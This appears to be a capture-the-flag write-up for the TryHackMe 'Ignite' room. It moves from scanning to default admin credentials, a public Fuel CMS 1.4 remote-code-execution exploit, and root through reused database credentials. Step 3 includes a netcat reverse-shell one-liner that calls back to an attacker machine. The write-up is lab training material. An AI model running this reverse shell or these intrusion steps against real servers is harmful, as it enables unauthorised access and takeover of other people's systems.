🧨{THM}Ignite

Introduction

A new start-up has a few issues with their web server. Root the box! Designed and created by DarkStar7471, built by Paradox.

Enjoy the room!

Step 1 - Enumerate and Scanning

First step always start with scanning the machine to find any open port.

For this machine, only port 80 are open as per mention in title (Web Server).

Are you notice something there??.

It shown directory which is robots.txt and /fuel.

Step 2 - Gaining Access

after scrolling around. Found this.

This is landing page for this machine. Let check directory given.

login page??

let proceed with credential given early.

VOILLLA!!!. We in as admin dashboard. Let see around what we can do and in same time let find any vulnerability for fuel cms version 1.4.

searchsploit fuel cms

Step 3 - Exploit Vulnerability

This version can be exploit. (always choose the latest version of exploit.) In this case, i take RCE3.

serachsploit -m php/webapps/50477.py
-m is use to copy into current directory.

Just like that, we in as www-data. Let make it stable using netcat.

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_MACHINE 1234 >/tmp/f

Next in our listener, make stable connection using pty.

Since we got already stable connection, let move around to find our objective. Like always. Let find user flag.

Step 4 - Privilege Escalation

Remember this at landing page, it actually hint for escalate user. For this time, I will escalate using config setup in database. Lucky the super user and password are same.

That is.. Next find root flag then DONE!!.

Patching

Best suggestion is, to update Fuel CMS to latest version.

Learning

FUEL CMS is a content management system (CMS) based on the Codelgniter framework. The ‘filter’ parameter of pages/select/ and the ‘data’ parameter of preview/page in FUEL CMS version 1.4.1 has injection vulnerabilities. The vulnerability stems from the fact that the network system or product lacks the correct verification of the user input data during the operation process.

1. Always check for cve/vulnerability of version web server.

2. Copy exploit-db into current local file.